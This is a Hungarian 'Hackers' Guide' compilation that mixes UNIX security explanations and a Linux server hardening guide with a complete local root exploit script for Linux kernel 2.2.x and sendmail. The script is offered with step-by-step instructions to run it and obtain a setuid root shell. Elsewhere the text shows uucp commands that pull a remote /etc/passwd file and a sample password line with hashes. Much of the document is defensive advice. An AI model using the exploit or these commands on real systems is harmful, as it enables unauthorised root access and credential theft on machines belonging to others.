Legyen Bob programja bob.x futtatható fájl, hozzáférési lehetõséggel a többiekek. Amikor Mary futtatja bob.x –et, õ lesz az új program tulajdonosa. Így ha bob.x futása közben szeretne hozzáférni a browse.txt fájlhoz, Mary-nek korábban rendelkeznie kell írási és olvasási jogokkal a fájlra. Ez lehetõvé tenné Mary (és mindenki más) számára a borwse.txt –hez való teljes hozzáférést, akkor is, ha éppen nem a bob.x fájlt futtatja. A felhasználó-azonosító (SUID) bob.x –en való beállításával Mary hozzáférést nyer a browse.txt fájlhoz, mint az eredeti tulajdonos, de csak a bob.x fájl futtatása során. Ezentúl a felhasználó- és csoprtazonosító segítségével a nem szívesen látott böngészõk távol tarthatók a fájlokhoz való hozzáféréstõl, mint a browse.txt esetében.

Bár ez a lehetõség tökéletesnek tûnik a UNIX rendszer fájljainak kezelésére, mégis van egy kritikus pontja. Mindig van lehetõség, hogy a renszer-adminisztrátor rendelkezik mások számára írási joggal rendelkezõ fájllal, melyre felhasználó-azonosítót is beállítottak. Néhány módosítással a fájl kódjában (egy hackker által), a futtatható fájl segítségével a felhasználó rendszer-administrátori jogokat nyerhet. Rövid idõ alatt a behatoló, úgy tönkreteheti a biztonsági rendszert, hogy még más szuperfelhasználók (rendszer-adminisztrátorok) sem tehetnek semmit. Ahogy Farrow mondta: "… felhasználó-azonosítójú, root által birtokolt shell másolat jobb, mint maga a root jelszó." Ezért, hogy csökkentsük a rendszer fenyegetettségét, a rendszer-adminisztrátornak az összes írási joggal rendelkezõ fájlt meg kell keresnie és le kell törölnie. A normál felhasználók által bejlentett fájlok is igen fontosak a biztonsági rések betömésében.

32

Hackers’ Guide

KÖNYVTÁRAK

A könyvtárak védelme általánosan a legkevésbé fontosnak tekintett részét képezi a fájl biztonági rendszernek UNIX alatt. A legtöbb rendszergazda és a felhasználók nem veszik figyelembe a valóságot: "a publikus írható könyvtárak jelentik a UNIX rendszer legveszélyesebb részét". A rendszergazdák létrehozzák a "nyitott" könyvtárakat, amelyekben a felhasználók mozoghatnak és elérhetik a publikus fájlokat, alkalmazásokat. Ez katasztrofális lehet, ugyanis a nyitott könyvtárakban tárolt fájlok elmozgathatók vagy kicserélhetõk más verziószámúakkal, még akkor is ha a fájlok nem olvashatók sem írhatók. Ha ez megtörténik, bármely lelkiismeretlen felhasználó vagy "jeszóvadász" elhelyezhet trójai programot a rendszer alkalmazásaiban (mint például ls, su, mail stb.)

A példa kedvéért képzeljük el:

A /bin könyvtár publikusan írható. Az elkövetõ elõször eltávolítja a régi su –t (az rm alkalmazás segítségével), majd a saját ál su –ját beilleszti és így megtudhatja a programot futtató felhasználók jelszavát. Amíg az írható könyvtárak elpusztíthatják a védelmi rendszert, az olvashatók csak károkat okozhatnak. Néha a fájlok és könyvtárak mindenki számára olvasásra vannak konfigurálva. Néha ez a hajszálnyi kényelem vezethet fontos adatokhoz való illetéktelen hozzáférés lehetõségéhez, mely súlyos probléma lehet ha a tárolt információ az üzleti ellenfél kezébe jut. Mint általános szabály, a mindenki csoport olvasási és írási jogát szüntessük meg az összes könyvtáron kivéve a rendszer adminisztrációs könyvtárain. A futtatási jogot csak a szükséges fájlokon hagyjuk, bár a felhasználók a saját fájljaikat szabadon elnevezhetik. Ez ad egy kevés védelmet a nem írható és olvasható könyvtáraknak. Tehát a programok mint az lp file.x egy nem olvasható /ddr könyvtárban kinyomtatják a fájl tartalmát, míg az ls/ddr nem listázza ki a könyvtár tartalmát.

PATH (elérési útvonal) VÁLTOZÓ

A PATH egy környezeti változó, mely a könyvtárak listájára mutat, amelyekben a keresés folyik, ha egy fájlt futtatni kívánunk. A keresés sorrendje megegyezik a PATH változóban tárolt könyvtárlista sorrendjével. A változó a bejelentkezéskor inicializálódik, a felhasználó .profile vagy .login fájljából. Ha a felhasználó az aktuális künyvtárt teszi be az elsõ helyre, futtatáskor a más könyvtárakban található, azonos nevû fájlokat figyelmen kívül hagyja. Bár a fájl- és könyvtárelérést a PATH változó nagyban megkönnyíti, a felhasználó kitszi magát a meglévö trójai-programok veszélyének. Ezt illusztrálandó, tegyük fel, hogy a trójai-program – mely kinézetre megegyezik a cat alkalmazással – tartalmaz egy olyan utasítást, mely a felhasználó jogosultságait biztosítja majd az elkövetõnek. Az ál cat –et elhelyezi a publikus /usr/username konyvtárban, ahol az áldozat dolgozni szokott. Így ha a felhasználó PATH változójának elsõ helyén az aktuális könyvtár szerepel és az /usr/username könyvtárban futtatni akarja a cat alkalmazást, akkor az ál cat indul el az /usr/username könyvtárban, nem pedig a valós cat a /bin könyvtárban. Megelõzni a hasonló eseteket a PATH változó pontos beállításával lehetséges. Legelõször – ha lehetséges – távolítsuk el a PATH változóból az aktuális könyvtár bejegyzését az elsõ helyrõl, és rendszerparancsok futtatáskor mindig gépeljük be a teljes elérési útvonalat. Ez növeli a fájlrendszer biztonságosságát, de növeli a leütendõ billenyûk számát is. Másodszor , ha az aktuális könyvtárat mindenféleképp tartalmaznia kell ,

33

Hackers’ Guide

ez letõleg a PATH változó utolsó bejegyzése legyen, így az alkalmazások (mint a vi, su, cat és ls) a rendszerkönyvtárból – a /bin vagy az /usr/bin – hívódnak meg, mielõtt még az aktuális könyvtárban keresni kezdené.

A JELSZÓ VÉDELME

A felhasználó-azonosítás UNIX alatt a személyes jelszavakkal történik. Bár a jelszavak emelik egy szinttel a fizikai védelmet, mégis a rendszer veszélyeztetésének egyik fontos területét jelentik. A felhasználók megbízhatóságának és figyelmének hiánya jelentõsen csökkenti a biztonságot. Ez igaz a legtöbb számítógépes létesítményre, ahol a jelszó azonosítása, hitelesítése és engedélyezése szükséges az erõforrásokhoz való hozzáféréshez – s ez alól a UNIX sem kivétel. A jelszó-információkat a legtöbb idõosztásos rendszerben korlátozott elérésû fájlokban tárolják, melyek a felhasználók által nem olvashatók. A UNIX rendszer azonban különbözik ezektõl a rendszerektõl, ugyanis itt az össze felhasználó olvashatja az /etc/passwd fájlt, melyben a kódolt jelszavak és felhasználói információk találhatók. Bár a UNIX rendszer egyirányú kódolási módszert szab meg, és a legtöbb rendszer módosított adatkódolási szabványt használ, a jelszó feltörési technikák ismertek. Ezek a technikák közül a brute-force (azaz az összes lehetõséget megvizsgáló) a legkevésbé effektív módszer, míg a heurisztikus (azaz meglévõ szavak, és azokból generált szavakat próbálgató) – a jelszó körülményeinek jó ismerete esetén – sikert hozhat. Például az /etc/passwd fájl tartalmaz ilyen információkat, mint a login név vagy a megjegyzés mezõi. A felhasználói név nagy értéket jelent a “kódtörõknek”, mivel a felhasználók a login név valamely változatát (fordított betûsorrend, számokkal való kiegészítés) használják kódként. A megjegyzés mezõ gyakran tartalmaz adatokat, mint a vezeték-, illetve keresztnév, telefonszám, cím és hasonlók.

Morris és Grampp egy cetlin így vélekedett a UNIX rendszer biztonságáról:

[belépéskor]

Az író kísérletet végzett néhány tucat helyi gépen, egy 20 gyakori nõi névbõl álló számmal megtoldott kódgyûjteménnyel. A letesztelt jelszavak száma 200 volt. Minden gépen a 200 szóból legalább egy érvényes jelszó volt.

[a megjegyzés mezõrõl]

… ha pedig a behatoló tud néhány dolgot a felhasználóról, új lehetõség nyílik. Családi és baráti nevek, háziállatok nevei, hobbi, regisztrációs számok sokkal gyorsabban eredményt hozhatnak, mint az egyszerû mechanikus próbálgatás módszere.

Ezért, egy rendszerbe betörõ személy – nagy valószínûséggel – talál néhány hasznos információt az /etc/passwd fájlban. Ezt észben tartva nyilvánvaló, hogy a jelszó-fájlok rendszer-adminisztrátori képzettség nélkül olvashatatlanok.

root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin

2. ÁBRA: Az /etc/passwd fájl tartalma.

34

Hackers’ Guide

Az /etc/passwd fájl olvashatóságának felbontása nem oldja meg a jelszavakkal kapcsolatos alapvetõ problémákat. Tanult felhasználóknak és adminisztrátoroknak törekedniük kell a megfelelõ jelszó kiválasztására. Elõször, a jó kód legalább 6 karakter hosszú, és tartalmaz nem alfabetikus karaktereket is, például: 5letes, sajat_nev, orom1/4. Másodszor, a kódot meghatározott idõközönként meg kell változtatni,úgy hogy mellõzzük a hasonlóságokat a régi és az új jelszó között. A különbözõ rendszerekre érvényes különbözõ jelszavak még inkább segítenek megvédeni illetéktelenektõl az értékes adatokat. Végül, a jelszavakat soha ne tegyük elérhetõvé jogtalan felhasználók számára. A felhasználók gyenge jelszavainak csökkentése jelentõsen növeli a rendszer biztonságosságát.

HÁLÓZATI VÉDELEM

UUCP rendszer

Az UUCP a UNIX rendszer legalapvetõbb hálózati megvalósítása; programok csoprtja, mely a távolt rendszerek közti adatátvitel céljait szolgálják. A probléma alapja, hogy a felhasználók más felhasználók fájljait megkötések nélkül elérhetik. Nowitz álláspontla szerint:

Az UUCP renszer – megkötések nélkül – lehetõvé teszi, hogy egy kívülálló felhasználó programokat indíthat, fájlokat másolhat ki, be amelyek írhatók vagy olvashatók az UUCP-t felépítõ felhasználó álltal.

Ez megköveteli a megfelelõ implementációt a rendszer-adminisztrátortól.

Alapvetõen négy fontos UUCP parancs van, mely fontos a UNIX rendszer bizonságát illetõen. Az elsõ az uucp parancs amely fájlokat másol a két UNIX rendszer között. Ha az UUCP-t nem allította be megfelelõen a renszer-adminisztrátor, bármely külsõ felhasználó szabadon futtathat programot vagy másolhat fájlokat. Ha a másik rendszer neve ismert egy egyszerû uucp paranccsal átmásolhatunk fájlokat a mi rendszerünkbe. Például az

%uucp system2!/main/src/hisfile myfile

parancs átmásolja a hisfile fájlt a távolt rendszer /main/src könyvtárából az aktuális könyvárba myfile néven. Ha bármely oldalon átviteli megkötések vannak átvitelre, a fájl nem kerül átküldésre. Ha viszont nincsenek megkötések, egy távoli felhasználó bármelyt fájlt átmásolhat, beleértve a jelszófájlt is. A következõ példával szemléltetjük, hogy lehet átmásolni a távoli rendszer /etc/passwd fájlját a helyi könyvtárba thanks néven:

%uucp system2!/etc/passwd thanks

A rendszer-adminisztrátorok megolhatják a problémát, ha a fájl átviteli lehetõséget egy könyvtárra korlátozzák, például egy /user/spool/uucppublic néven létrehozott könyvtárra. Ha valaki mégis megpróbálkozik fájl átvitellel valamely más kövtárban, a rendszer a

"remote access to path/file denied"

hibaüzenettel tér vissza és nem történik adatátvitel.

35

Hackers’ Guide

A második UUCP parancs az uux funkciója távoli UNIX rendszereken lévõ fájlok futtatása. Ezt a szakkönyvek távoli parancs futtatásnak nevezik, és a leggyakrabban használt UUCP parancs, mivel a mail saját maga futtatja távoli rendszerekbe történõ levélküldés esetén.

A lehetõség, hogy távoli rendszereken fájlokat futtassunk, egy komoly biztonsági probléma, ha az adott (távoli) rendszerben nincs a távolról kezdeményezett parancsfuttatás korlátozva. Ahogy a következõ példa is mutatja, a rendszernek nem szabadna engedélyezni a következõt:

%uux "system1!cat/usr/spool/uucppublic"

Ez a parancs ugyanis átmásolja a távoli rendszer passwd fájlját a távoli rendszer publikus uucp könyvtárába, ahonnan már könnyedén átmásolhatja azt. Mindazonálltal néhány parancsot engedélyezni kell távoli futtathatósára. Gyakran az egyedüli engedélyezett parancs a korlátozott mail program.

A harmadik UUCP parancs az uucico (copy in, copy out; be-, kimásolás); ez látja el az igazi kommunikációt. Az uucp és az uux ugyanis nem érik el a távoli rendszert, csak beillesztik a kérést egy végrehajtási sorba, és a kommunikációt az uucp és uux számára az uucico végzi. Az uucico program az /usr/uucp/USRFILE fájlt használja annak eldöntésére, milyen fájlokat küldhet és fogadhat. A fájlok engedélyezettségének vizsgálata a bizonság alapja az USERFILE fájlban. Így a rendszer-adminisztrátoroknak körültekintõen kell kezelniük ezt a fájlt.

Egyéb forrópontokkal fogjuk folytatni ************************************************************************************************ Root jog szerezése, ha alap felhasználo vagy

Leirom hogy kell root jogot szerezni linuxon ha alap felhasználo vagy. Redhat6.2-esen tesztelve(ott a kernel verzio is).

Itt ez a script kod. Felmásolsod a... Nem is legjobb lesz ha emilben elkûldöd magadnak, és elmented a saját könyvtáradba. Ott adsz neki futtatási jogot igy (chmod u+x fájfneve) majd elinditod igy (./ fajlneve). Most beirod, hogy whoami és nini kiirja hogy root. Innen tied a világ...

#!/bin/sh

echo "+----------------------------------------------------- ------+"

36

Hackers’ Guide

echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |" echo "| local root exploit |" echo "+----------------------------------------------------- ------+"

TMPDIR=/tmp/foo SUIDSHELL=/tmp/sush SHELL=/bin/tcsh

umask 022 echo "Creating temporary directory" mkdir -p $TMPDIR cd $TMPDIR

echo "Creating anti-noexec library (capdrop.c)" cat <<_FOE_ > capdrop.c #define __KERNEL__ #include <linux/capability.h> #undef __KERNEL__ #include <linux/unistd.h> _syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data) extern int capset(cap_user_header_t header, cap_user_data_t data); void unsetenv(const char*); void _init(void) { struct __user_cap_header_struct caph= {_LINUX_CAPABILITY_VERSION, 0}; struct __user_cap_data_struct capd={0, 0, 0xfffffe7f}; unsetenv("LD_PRELOAD"); capset(&caph, &capd); system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER"); } _FOE_ echo "Compiling anti-noexec library (capdrop.so)" cc capdrop.c -c -o capdrop.o ld -shared capdrop.o -o capdrop.so

echo "Creating suid shell (sush.c)" cat <<_FOE_ > sush.c #include <unistd.h> int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); } _FOE_

echo "Compiling suid shell (sush.c)" cc sush.c -o $TMPDIR/sush

37

Hackers’ Guide

echo "Creating shell script" cat <<_FOE_ >script mv $TMPDIR/sush $SUIDSHELL chown root.root $SUIDSHELL chmod 4111 $SUIDSHELL exit 0 _FOE_

echo "Creating own sm.cf" cat <<_FOE_ >$TMPDIR/sm.cf O QueueDirectory=$TMPDIR O ForwardPath=/no_forward_file S0 R\$* \$#local \$: \$1 Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script _FOE_

echo "Dropping CAP_SETUID and calling sendmail" export LD_PRELOAD=$TMPDIR/capdrop.so /bin/true unset LD_PRELOAD

echo "Waiting for suid shell ($SUIDSHELL)" while [ ! -f $SUIDSHELL ]; do sleep 1; done

echo "Removing everything" cd .. rm -fr $TMPDIR

echo "Suid shell at $SUIDSHELL" $SUIDSHELL /bin/sush

[email protected] www.extra.hu/snipe ************************************************************************************************ Linux szerverek biztonsági kérdései

38

Hackers’ Guide

Ez a rövid lélegzetû iromány fõként kezdõ rendszergazdáknak íródott, ennek ellenére nem szeretnék minden - máshol is könnyen hozzáférhetõ vagy a felsorolt szoftverek dokumentációjában olvasható - megoldást részletezni. Ha nem írtam le részletesen valamit, akkor annak egyszerûen utána lehet nézni (man, howto, stb.) Szóval RTFM :). Késõbb, ha lesz rá igény, részletesebben kifejtek egyes témákat, de szívesen venném, ha más is hozzászólna, esetleg részt vállalna az adott téma kidolgozásában. Bármilyen építõ jellegû hozzászólást szívesen fogadok.

Tartalom

1. Bevezetõ 2. Külsõ behatolási kísérletek elleni védelem 2.1 Hálózati kommunikáció védelme 2.2 Sniffer-ek 2.3 Portscan-ek 2.4 Address spoofing 2.5 DNS spoofing 2.6 TCP/UDP spoofing 2.7 man-in-the-middle attack 2.8 Denial of Service (DoS) 2.9 Resource starvation 2.10 Web browser attack 3. Belsõ támadások elleni védelem 3.1 Fork bomba 3.2 Buffer overflow (stack overflow) 3.3 Symlink attack 3.4 Race condition 3.5 IFS (Inter Field Separator, mezõhatároló) megváltoztatása 3.6 Jelszavak megválasztása 3.7 File-ok változásainak figyelése 3.8 PAM (Pluggable Authentication Module) 3.9 Események naplózása 4. Kiszolgálók 4.1 tcp-wrapper 4.2 SSH (Secure Shell) 4.3 X biztonság 4.4 Inetd 4.5 WWW kiszolgáló 4.5.1 CGI scriptek 4.6 DNS (Domain Name Service) 4.7 Levélkezelõ (MTA, Mail Transport Agent) 4.8 POP3 szerver 4.9 lpd (Line Printer Daemon) 4.10 FTP szerver 4.11 Firewall szoftverek 4.12 Rendszerellenõrzõ programok (security scanner-ek) 5. Egyéb fontos dolgok 6. Ha már megtörtént a baj 7. Amit érdemes elolvasni 8. Használt fogalmak definíciója

39

Hackers’ Guide

1. Bevezetõ Csak a rendeltetésszerû mûködéshez szükséges csomagokat telepítsük. Célszerû legalább a /tmp, a /home és a /var könyvtárakat külön partícióra tenni. Ez megnehezíti néhány program hibáinak kihasználását (pl. állományok jogosulatlan átírása az adott file-ra mutató link segítségével, bár a symlink-es exploitok ellen nem véd), lehetõvé teszi a disk quota hatékonyabb beállítását illetve megakadályozza, hogy a syslogd üzenetei megtöltsék a root partíciót, megnehezítve ezzel a rendszer normális mûködését. Ha még óvatosabbak akarunk lenni, a /var/spool-t is külön partícióra tehetjük. Ezzel megakadályozható, hogy a /var valamilyen módon való megtöltése esetén (pl. DoS attack) se álljanak le a spool-t használó processzek, illetve viszont: ha a spool meg is telik, a /var nem. A /tmp-t és a /home-ot érdemes nosuid paraméterrel mountolni. A /home mountolható noexec paraméterrel is, ha a felhasználók saját programokat nem futtatnak. A /tmp nosuid mountolása megelõzi a setuid tmp file-ok race condition jellegû hibáinak kihasználását. Szóval ez az /etc/fstab-ban valahogy így nézzen ki: /dev/hda2 /tmp ext2 defaults,nosuid 1 2 /dev/hda4 /home ext2 defaults,nosuid,noexec 1 2 A felhasználók által foglalható maximális merevlemez területet is érdemes korlátozni, így a userek nem tudnak buta dolgokat (pl. "cat /dev/zero > nagyfile") mûvelni. Ennek beállításához ajánlott olvasmány a 'quota howto'. Quota kell a /tmp-re (a nagy tmp file-ok létrehozásának megakadályozására illetve, hogy az elvetemültebbek ne itt tárolják a dolgaikat), a /var-ra a mail spool méretének limitálása miatt, illetve a /home-ra a home könyvtárak méretének korlátozása érdekében. Telepítés után ellenõrizzük, nincsenek-e már ismert biztonsági hibák rendszerünkben. Az ellenõrzést kezdjük az adott disztribúció hibalistájával, majd nézzük át a biztonsággal foglalkozó site-okat (pl. Rootshell), listák archívumait (pl. BUGTRAQ). Ha valamiben már találtak biztonsági hibát, azonnal cseréljük le. A legtöbb helyen a javított csomagok elérhetõségét is megadják. Ha még nincs javított verzió, próbálkozhatunk a közreadott patchekkel is. Ha patch sincsen, az adott szolgáltatást célszerû ideiglenesen leállítani.

Javítás után minden esetben teszteljük le a rendszert, valóban kijavítottuk-e a hibát. A fent említett levelezési listára feliratkozni is érdemes, így elõbb értesülhetünk a számunkra fontos hibákról és patchekrõl.

Rossz hozzáállás, hogy "itt nincs semmi, ami bárkinek is kellene, nem éri meg betörni". Igenis megéri. Általában nem a célgépre törnek be elõször, hanem keresnek egy könnyen törhetõ, de gyors kapcsolattal rendelkezõ gépet, amit ugródeszkaként használnak. Így a betörõ valódi címe rejtve marad, mivel az ugródeszkaként szolgáló géprõl általában mindent törölnek, ami a nyomukra vezethetne.

Nem igazán jó megoldás az sem, ha egy jól mûködõ, hibátlan programot minden megfontolás nélkül lecserélünk csak azért, mert megjelent egy új verziója. Jusson eszünkbe, hogy az új verzió új hibákat is eredményezhet, ezért upgrade elõtt mindig olvassuk el a README/CHANGES/FEATURES/stb.-t. Azért vannak.

2. Külsõ behatolási kísérletek elleni védelem 2.1. Hálózati kommunikáció védelme Ne használjunk telnet-et és ftp-t a rendszeradminisztrációhoz - ha lehet, mindig

40

Hackers’ Guide

kerüljük a használatukat - mivel a kommunikáció ebben az esetben titkosítás nélkül folyik; egy sniffer-rel a közepesen képzett próbálkozó is sok hasznos információt (pl. jelszavak) szedhet össze. Ugyanez igaz az rsh, rcp, stb. szolgáltatásokra, melyek még veszélyesebbek. Épp ezért javasolt az SSH vagy SRP-s telnet/ftp (Secure Remote Password) használata, amelyek a hálózati kommunikációt biztonságos mértékben titkosítják.

2.2.Sniffer-ek Aki a gépünk és a célgép közötti forgalmat figyelni képes, értékes információkhoz juthat a titkosítatlan kapcsolatokból. Ehhez persze az kell, hogy a hálózaton valahol legyen egy root accountja. Ha ez megvan, több program is rendelkezésére áll a tcpdump-tól (minden Linux disztribúcióban megtalálható) az intelligensebb programokig (pl. sniffit vagy tcpflow).

Mûködésük a hálózati interface promiscuous módba kapcsolásán alapszik. Detektálásuk is erre épül, mivel létezik program a promiscuous mód-ban levõ ethernet interface-ek keresésére. Ezzel általában meghatározható, milyen címrõl fut a sniffer (feltéve, hogy az elkövetõ nem olyan operációs rendszert használ, mely a detektálást megakadályozza).

A detektorok mûködési elve valami ilyesmi: végigpingeli a lokális hálózatot, így megkapja minden interface hadver címét. Ezután egyenként minden IP-hez tartozó hardver (MAC) címet véletlenszerûen megváltoztat az ARP cache-ben és újra pingel. Amelyik gép erre válaszol, ott az interface promiscuous módban van. Persze ez még nem jelenti, hogy sniffert futtat, mert néhány más program is átkapcsolja az interface-t ebbe a módba.

2.3. Portscan-ek A portscan kapcsolat kezdeményezése több portra, egymás után. Azt jelenti, hogy valaki kíváncsi arra, milyen szolgáltatások futnak a gépen. Sok rendszerellenõrzõ program is használja ezt a technikát az elemzéshez. A scannelõ valószínûleg arra kíváncsi, melyik szolgáltatást kihasználva tudna betörni gépünkre. Védekezésként log-olhatjuk a TCP/UDP/ICMP scan-t ipp-vel vagy más hasonló programmal. A rendszeresen visszatérõ próbálkozók gépének adminisztrátorait célszerû tájékoztatni az esetekrõl. Ha õk nem tesznek semmit a helyzet megváltoztatására, érdemes a firewall-on kifilterezni ezeket a címeket.

2.4. Address spoofing Ez már a haladóbb technikák közé tartozik... eléggé komoly hálózati ismeretek szükségesek hozzá.

A felállás a következõ: adott A és B gép, illetve C a támadó, aki át akarja venni B szerepét. Az elsõ esetben az ICMP redirect-tel foglalkozunk. C, amennyiben képes figyelni B szegmensét (mert pl. már betört valamelyik lokális hálózaton lévõ gépre), a megfelelõ pillanatban A routerének küld egy ICMP redirect csomagot B routere nevében. Ezután A routere úgy tudja majd, hogy B - akivel kommunikálni akar - a C routerének irányában van. Nem ismerek konkrétan kidolgozott védelmet a támadás ellen, de firewall használata a helyi és a külsõ hálózat között sokat segíthet. Így akár ki is tiltható a kívülrõl érkezõ ICMP forgalom. A következõ eset, amikor C (a támadó) nem tudja figyelni a hálózat forgalmát.

41

Hackers’ Guide

Ilyenkor valahogy meg kell bolondítania A routerét, hogy az úgy tudja, hogy B routere C irányában van, tehát A C felé fogja a kapcsolatot kezdeményezni. C gépe természetesen B gépének IP címét veszi fel. Ez általában a routing táblák valamilyen módon való átírását jelenti. Ez lehetséges úgy, hogy a támadó A routerébe tör be elõször és ott írja át, de ha A routere SNMP-vel menedzselt, (hibás vagy rosszul beállított SNMP szoftver esetén) lehetséges átkonfigurálni betörés nélkül is. Egy jól beállított router az ilyen jellegû támadások nagy részét megfogja. A harmadik esetben B A szegmensén van. Ekkor C, miután sikeresen kiiktatta B-t (azaz valamilyen formában elérte, hogy B leszakadjon a hálóról), átveszi B hardware címét is. Ezután A B helyett C-vel fog kommunikálni. Nem tudok megfelelõ védelemrõl, de ha ez a veszély fennáll, hasznos lehet a helyi hálózatot firewall-lal elválasztott részekre szabdalni. A kritikus hálózatrészekre csak megbízható host-ok kerülhetnek. Így C csak akkor érhet el eredményt, ha B szegmensén van. Ekkor viszont sokat segíthet, ha B jól karbantartott gép, azaz nem könnyû kiiktatni. Mindenesetre érdemes arpwatch-ot használni. Ez a program figyeli a hálózati forgalmat és a detektált IP és hadver címeket kiírja. Így észlelhetõ, ha valaki a lokális hálózaton egy eszköz hadver címét állítgatja.

2.5. DNS spoofing Ismét az elõzõ felállás: A és B egymással akarnak kommunikálni, de ott van C, aki át akarja venni B helyét. C tehát megnézi B name server-ének címét és betör rá (ha ez nem sikerül, akkor itt a vége), átállítja B IP címét a sajátjára, majd újraindítja a name servert. Ezután A, ha B hostnevét használja a kapcsolat felvételéhez és nem ellenõrzi annak valódiságát (azaz nem kéri B reverse name server-tõl a nevéhez tartozó IP címet), akkor B helyett C-vel fog kommunikálni. Elég jó védelmet nyújt ellene a tcp-wrapper, illetve a megfelelõ kliens és szerver programok használata.

2.6. TCP/UDP spoofing Hibásan tervezett vagy implementált protokoll stack esetén vagy a protokollok hiányosságaiból fakadó okok miatt lehetséges a már felépült vagy kezdeményezett kapcsolatok "elrablása" vagy a kapcsolatba idegen csomagok "becsempészése" harmadik személy által. Ehhez persze komoly hálózati ismeret, programozási tudás és a TCP/IP protokollok részletes ismerete szükséges. 100%-os védelem nincs ellene, de a felfedezett hibák gyors kijavítása és egy jól konfigurált firewall sokat tud segíteni.

2.7. man-in-the-middle attack A felállást már ismerjük: A és B kommunikációjába C be szeretne avatkozni. Ha a csatorna végpontjai védettek, a csatorna A és B közötti szakaszának "megcsapolása" lehet a megoldás. Ilyenkor C rákapcsolja a saját terminálját a csatornára és az ott folyó kommunikációt lehallgatja. Amikor lehetõsége van, a csatornát észrevétlenül átvágja, majd mindkét végét a saját termináljára kapcsolja, így az egyfajta átjáróként szolgál A és B között, megadva ezzel C-nek a beavatkozás lehetõségét. Tehát C küldhet A-nak és B-nek is a másik nevében csomagokat, a választ pedig elfogja. A számára érdektelen kommunikációba nem avatkozik be. Védekezni csak a teljes kapcsolat kódolásával lehetséges, de még ez sem véd 100%-ig az olyan esetekben, amikor C a kapcsolat kezdetétõl képes beavatkozni a

42

Hackers’ Guide

kommunikációba. Az utóbbi eset ellen bizonyos protokollok (pl. SSL) implementációja megfelelõ védelmet biztosít ún. certificate-ek használatával.

2.8. Denial of Service (DoS) Ez a támadások egy speciális fajtája, amikor a támadó nem betörni akar, hanem egy adott szolgáltatás mûködését szeretné megbénítani. Hogy pontosítsunk: az adott kiszolgáló program vagy az operációs rendszer hibája segítségével a program rendeltetésszerû mûködését megakadályozza. A hiba lehet például egy távolról kihasználható buffer overflow, amelynek következtében a program illegális mûveletet hajtana végre vagy számára nem hozzáférhetõ memóriaterületre írna, így az operációs rendszer a futását megszakítja. Elképzelhetõ olyan hiba is, amit felhasználva a program egy része vagy egésze lefagyasztható vagy hibás mûködésre bírható. Lehetséges olyan támadás is, amely az egyszerre kiszolgálható kapcsolatok számának a határérték fölé növelésével teszi használhatatlanná az adott szolgáltatást. Védekezni a szerver programok karbantartásával és helyes beállításával lehet.

2.9. Resource starvation Ez többé-kevésbé a Denial of Service attack-ek kategóriájába tartozik. Ez esetben a támadó a gép erõforrásainak (memória, processzor, háttértár) kapacitását igyekszik olyan mértékben kihasználni, hogy ezzel más felhasználó számára a rendszert használhatatlanná tegye. Ennek több módja ismert, lehetséges lokálisan (azaz a gépre bejelentkezve), (pl. fork bomba) illetve kívülrõl végrehajtani a támadást (pl. a syslogd üzeneteit felhasználva megtölthetõ a partíció vagy a régebbi Apache httpd-hez intézett kérésben megfelelõ számú "../../.." hivatkozást elhelyezve a httpd által okozott processzorterhelés ugrásszerûen megnövelhetõ).

Ide tartozik még a hálózati sávszélesség kihasználása is. Ekkor a TCP/IP protokollok hiányosságait vagy egy rosszul beállított hálózati eszközt felhasználva olyan mértékben megnövelhetõ a hálózati forgalom, hogy a felhasználók által kezdeményezett kapcsolatok timeout-tal lépjenek ki. Erre példa a közelmúltban kitalált "smurf" attack, amikor a támadó a célhálózat broadcast címére állított forráscímû csomagokkal bombázza a hálózati eszközöket. Az eredmény elképzelhetõ. E támadások elleni védekezés megvalósítási módja általában csak a támadás megvalósítása után válik közismertté.

2.10. Web browser attack A népszerû web böngészõk (Netscape, Internet Explorer) méretének növekedésével egyre több kritikus hiba kerül napvilágra. A kliens oldali Javascriptekkel kapcsolatos hibákat sem szabad elhanyagolni. A Java biztonsági modellje elég jó, az elõforduló hibák általában a hibás vagy hiányos implementációból adódnak. Bizonyos hibák kihasználásával a gépünkön tárolt és számunkra olvasható file-ok hozzáférhetõvé válnak a látogatott oldal készítõje számára. Ezért ajánlott letiltani a Java support-ot a böngészõben, ha nem megbízható site-okat látogatunk.

3. Belsõ támadások elleni védelem

3.1. Fork bomba Ez egy kis programocska, amely a CPU idõt és memóriát eszik. Védekezni ellene erõforrás limitek beállításával lehet. Az újabb Linux disztribúciók már alapból PAM-ot használnak, így ez nem probléma.

43

Hackers’ Guide

3.2. Buffer overflow (stack overflow) Ha programozási hiba folytán egy adott buffer méretén 'túlírható', akkor a tömböt tartalmazó függvény visszatérési címe (a stack-en a buffer után vége után tárolódik) átírható. Ennek oka az, hogy a C compilerek fordításkor nem figyelik a tömbhatár-túllépés lehetõségeit, illetve léteznek olyan függvények, melyek a bufferbe írás során nem ellenõrzik annak méretét. Ez nem lenne gond, mert minden ilyen függvénynek létezik biztonságos (a tömbhatárokat ellenõrzõ) változata, csakhogy könnyû a rosszabb megoldást választani.

Így azokon a rendszereken, ahol a stack futtatható, érdekes dolgokat mûvelhetünk (pl. a futó program jogaival shell hívható a visszatérési cím egy 'exec("/bin/sh"...)'-ra állításával). Ha a program setuid/setgid-es, akkor az kód, amire a visszatérési cím mutat, örökli a futó program jogait, tehát pl. az elõbbi esetben egy setuid-es shell-t kaphatunk.

Súlyosabb a helyzet, ha az adott program egy hálózati kiszolgáló, mert bizonyos esetekben a hiba távolról is kihasználható, lehetõséget adva ezzel bárkinek a jogosulatlan hozzáféréshez.

A programozói gondatlanság ellen védelmet nyújt a StackGuard, amely egy GCC (GNU C Compiler) kiterjesztés. Érdemes használni, fõként, ha valaki setuid-es programot fejleszt, de ha nem bízunk egy más által fejlesztett programban, az is újrafordítható vele.

Solar Designertõl származik egy kernel patch, amely korlátozott mértékben védelmet nyújt a stack futtathatóságát kihasználó támadások ellen, de létezik módszer a megkerülésére.

